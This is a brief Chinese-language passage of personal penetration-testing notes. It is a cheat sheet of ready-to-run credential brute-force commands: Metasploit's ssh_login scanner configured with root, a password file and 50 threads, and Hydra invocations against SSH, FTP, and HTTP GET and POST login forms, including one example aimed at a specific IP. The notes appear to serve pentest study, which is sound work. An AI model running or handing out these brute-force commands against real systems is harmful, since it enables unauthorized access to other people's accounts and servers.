渗透测试的一些总结

使用命令: 破解ssh登录名和密码 msconsole回车 search ssh 查找ssh相关的模块 use auxiliary/scanner/ssh/ssh_login 调用ssh破解程序 show options 查看选项 set rhosts 127.0.0.1 设置要破解的IP地址（必须能ping通） set rport 22 设置端口 set username root 设置用户名 set pass_file /root/*.* 设置密码文件 set threads 50 设置线程50 run 开始执行 telnet同理， kali自带密码字典路径//usr/share/wordlists/w3af.txt

---

Hydra破解
1、破解ssh：
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2、破解ftp：
hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、get方式提交，破解web登录：
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.PHP
4、post方式提交，破解web登录：
hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER&password=^PASS&submit=login:sorry password"

hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER&passwd=^PASS:"
（参数说明：-t同时线程数3，-l用户名是admin，字典pass.txt，保存为out.txt，-f 当破解了一个密码就停止， 10.36.16.18目标ip，http-post-form表示破解是采用http的post方式提交的表单密码破解,